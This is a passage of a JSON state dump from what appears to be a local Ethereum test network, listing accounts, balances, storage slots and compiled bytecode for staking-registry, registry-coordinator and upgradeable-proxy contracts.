2612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b0380821115612d0157600080fd5b612d0d89838a01612c80565b90965094506040880135915080821115612d2657600080fd5b50612d3388828901612c80565b969995985093965092949392505050565b60008083601f840112612d5657600080fd5b5081356001600160401b03811115612d6d57600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9b57600080fd5b8435612da681612c31565b93506020850135925060408501356001600160401b03811115612dc857600080fd5b612dd487828801612d44565b95989497509550505050565b60008151808452602080850194506020840160005b83811015612e1a5781516001600160601b031687529582019590820190600101612df5565b509495945050505050565b604081526000612e386040830185612de0565b82810360208401526123ee8185612de0565b60008060408385031215612e5d57600080fd5b82359150612e6d60208401612bb4565b90509250929050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257612ecf83855163ffffffff808251168352806020830151166020840152506001600160601b0360408201511660408301525050565b9284019260609290920191600101612e92565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2657612f26612eee565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5457612f54612eee565b604052919050565b60006001600160401b03821115612f7557612f75612eee565b5060051b60200190565b60008060408385031215612f9257600080fd5b612f9b83612bb4565b91506020808401356001600160401b03811115612fb757600080fd5b8401601f81018613612fc857600080fd5b8035612fdb612fd682612f5c565b612f2c565b81815260059190911b82018301908381019088831115612ffa57600080fd5b928401925b8284101561301857833582529284019290840190612fff565b80955050505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305057600080fd5b61305984613027565b925060208401356001600160401b0381111561307457600080fd5b61308086828701612d44565b9497909650939450505050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257835163ffffffff16835292840192918401916001016130a9565b6000806000606084860312156130e057600080fd5b6130e984612bb4565b95602085013595506040909401359392505050565b815163ffffffff9081168252602080840151909116908201526040808301516001600160601b03169082015260608101610cae565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561315d57600080fd5b61316683612bb4565b9150612e6d60208401613133565b60008060006040848603121561318957600080fd5b8335925060208401356001600160401b0381111561307457600080fd5b600082601f8301126131b757600080fd5b813560206131c7612fd683612f5c565b82815260069290921b840181019181810190868411156131e657600080fd5b8286015b8481101561323557604081890312156132035760008081fd5b61320b612f04565b813561321681612c31565b8152613223828601613133565b818601528352918301916040016131ea565b509695505050505050565b6000806040838503121561325357600080fd5b61325c83612bb4565b915060208301356001600160401b0381111561327757600080fd5b613283858286016131a6565b9150509250929050565b6000806000606084860312156132a257600080fd5b6132ab84612bb4565b92506132b960208501613027565b9150604084013590509250925092565b6000806000606084860312156132de57600080fd5b833592506132ee60208501612bb4565b91506132fc60408501613027565b90509250925092565b6000806000806080858703121561331b57600080fd5b61332485612bb4565b935061333260208601613027565b93969395505050506040820135916060013590565b60008060006060848603121561335c57600080fd5b61336584612bb4565b925061337360208501613133565b915060408401356001600160401b0381111561338e57600080fd5b61339a868287016131a6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561340757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134b657600080fd5b6114ee82613133565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613531565b634e487b7160e01b600052603160045260246000fd5b60006040820160018060a01b038086168452602060406020860152828654808552606087019150876000526020600020945060005b818110156135c35785548516835260019586019592840192016135a5565b509098975050505050505050565b600060208083850312156135e457600080fd5b82516001600160401b038111156135fa57600080fd5b8301601f8101851361360b57600080fd5b8051613619612fd682612f5c565b81815260059190911b8201830190838101908783111561363857600080fd5b928401925b828410156136565783518252928401929084019061363d565b979650505050505050565b8082028115828204841417610cae57610cae613531565b60008261369557634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b0381811683821601908082111561062b5761062b613531565b80820180821115610cae57610cae613531565b6000816136dc576136dc613531565b506000190190565b818103600083128015838313168383128216171561062b5761062b613531565b6000600160ff1b820161371957613719613531565b5060000390565b6001600160601b0382811682821603908082111561062b5761062b61353156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a264697066735822122086a228217be3aa4346ddc514699a0ca7893ec8b64cbf2023e3b1369fe2efcf1164736f6c63430008180033","storage":{}},"0x14dc79964da2c08b23698b3d3cc7ca32193d9955":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x15d34aaf54267db7d7c367839aaf71a00a2c6a65":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c4565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e1565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610336565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead81600081518110610204576102046103fb565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156102b85783516001600160a01b031683529284019291840191600101610293565b50909695505050505050565b6000602082840312156102d657600080fd5b813561013381610226565b6000825160005b8181101561030257602081860181015185830152016102e8565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033181610226565b919050565b6000602080838503121561034957600080fd5b825167ffffffffffffffff8082111561036157600080fd5b818501915085601f83011261037557600080fd5b81518181111561038757610387610310565b8060051b604051601f19603f830116810181811085821117156103ac576103ac610310565b6040529182528482019250838101850191888311156103ca57600080fd5b938501935b828510156103ef576103e085610326565b845293850193928501926103cf565b98975050505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220d2a1dc3d5b3de166be22fce7e789ceac2302c613380087624652f3f48de1ed0864736f6c63430008180033","storage":{}},"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000065":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000066":"0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000097":"0x0000000000000000000000000000000000000000000000000000000000000000","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0x23618e81e3f5cdf7f54c3d65f7fbc0abf5b21e8f":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea2646970667358221220355151a18763854f71011cb9636c419bc4393ef5d1924777a929c1e19aaa390964736f6c634300080c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x000000000000000000000000851356ae760d987e095750cceb3bc6014560891c"}},"0x36c02da8a0983159322a80ffe9f24b1acff8b570":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614600565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614650565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614683565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a919061469e565b61033e6105ed3660046146f6565b611068565b6106056106003660046144fc565b61143e565b60405161036a9190614799565b61033e6114b2565b610494610628366004614683565b6001805460ff9092161b9081161490565b61033e61064736600461481e565b61157e565b600154610360565b6103b17f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc4981565b6103b1610689366004614474565b6115d8565b6103b17f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b61033e6106c3366004614852565b611602565b61033e611757565b6103606106de366004614909565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614aa7565b6117d9565b6103b17f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614ba0565b611af2565b61036060a05481565b6107c66107c1366004614c48565b611c57565b60405161036a9190614ced565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d37565b611d06565b609c54610360565b61033e610823366004614e1d565b611d6c565b61033e610836366004614fda565b611d7f565b6108aa610849366004614683565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150ae565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150bc565b60405180910390fd5b60005b82811015610a48576000848483818110610990576109906150f3565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614761565b6002811115610a0157610a01614761565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a716150f3565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614761565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061514f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615162565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b81526004016109689061517f565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151c9565b610da95760405162461bcd60e51b8152600401610968906151eb565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e966150f3565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615162565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150bc565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b83811015611435576000858583818110611131576111316150f3565b919091013560f81c91503690506000898985818110611152576111526150f3565b90506020028101906111649190615233565b6040516379a0849160e11b815260ff8616600482015291935091507f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061527c565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da576000848483818110611253576112536150f3565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614761565b60028111156112c4576112c4614761565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152af565b92611393939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614761565b60028111156114a9576114a9614761565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151c9565b61153f5760405162461bcd60e51b8152600401610968906151eb565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614761565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a8787878787604051602001611048969594939291906152ec565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db60408302860136819003810190615374565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e6000818110611957576119576150f3565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c26150f3565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec6150f3565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a106150f3565b6020026020010151338560200151600081518110611a3057611a306150f3565b60200260200101518c8c6000818110611a4b57611a4b6150f3565b905060400201803603810190611a619190615374565b86613335565b611ae388886000818110611a7d57611a7d6150f3565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c076150f3565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc26150f3565b6020026020010151613504565b828281518110611ce157611ce16150f3565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150bc565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81166001600160a01b03199283161790925585548085018755850180547f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49841690831617905585549384019095559190920180547f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377890921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa56150f3565b6020026020010151858381518110611fbf57611fbf6150f3565b6020026020010151858481518110611fd957611fd96150f3565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615162565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b81526004016109689061517f565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606